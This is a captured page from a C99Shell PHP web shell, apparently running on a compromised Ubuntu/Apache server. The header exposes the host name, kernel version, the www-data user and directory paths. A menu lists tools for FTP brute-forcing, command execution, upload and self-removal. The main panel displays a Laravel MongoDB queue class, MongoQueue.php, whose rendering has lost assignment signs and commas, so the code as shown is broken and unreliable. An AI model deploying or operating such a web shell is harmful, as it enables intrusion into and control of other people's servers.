!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/ccl/vendor/jenssegers/mongodb/src/Jenssegers/Mongodb/Queue/   drwxrwxr-x
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MongoQueue.php (2.42 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php namespace Jenssegers\Mongodb\Queue;

use 
Carbon\Carbon;
use 
Illuminate\Queue\DatabaseQueue;

class 
MongoQueue extends DatabaseQueue
{
    
/**
     * Get the next available job for the queue.
     *
     * @param  string|null  $queue
     * @return \StdClass|null
     */
    
protected function getNextAvailableJob($queue)
    {
        
$job $this->database->table($this->table)
                    ->
lockForUpdate()
                    ->
where('queue'$this->getQueue($queue))
                    ->
where('reserved'0)
                    ->
where('available_at''<='$this->getTime())
                    ->
orderBy('id''asc')
                    ->
first();

        if (
$job) {
            
$job = (object) $job;
            
$job->id $job->_id;
        }

        return 
$job ?: null;
    }

    
/**
     * Release the jobs that have been reserved for too long.
     *
     * @param  string  $queue
     * @return void
     */
    
protected function releaseJobsThatHaveBeenReservedTooLong($queue)
    {
        
$expired Carbon::now()->subSeconds($this->expire)->getTimestamp();

        
$reserved $this->database->collection($this->table)
                    ->
where('queue'$this->getQueue($queue))
                    ->
where('reserved'1)
                    ->
where('reserved_at''<='$expired)->get();

        foreach (
$reserved as $job) {
            
$attempts $job['attempts'] + 1;
            
$this->releaseJob($job['_id'], $attempts);
        }
    }

    
/**
     * Release the given job ID from reservation.
     *
     * @param  string $id
     *
     * @return void
     */
    
protected function releaseJob($id$attempts)
    {
        
$this->database->table($this->table)->where('_id'$id)->update([
            
'reserved'    => 0,
            
'reserved_at' => null,
            
'attempts'    => $attempts,
        ]);
    }

    
/**
     * Mark the given job ID as reserved.
     *
     * @param  string  $id
     * @return void
     */
    
protected function markJobAsReserved($id)
    {
        
$this->database->collection($this->table)->where('_id'$id)->update([
            
'reserved' => 1'reserved_at' => $this->getTime(),
        ]);
    }

    
/**
     * Delete a reserved job from the queue.
     *
     * @param  string  $queue
     * @param  string  $id
     * @return void
     */
    
public function deleteReserved($queue$id)
    {
        
$this->database->table($this->table)->where('_id'$id)->delete();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--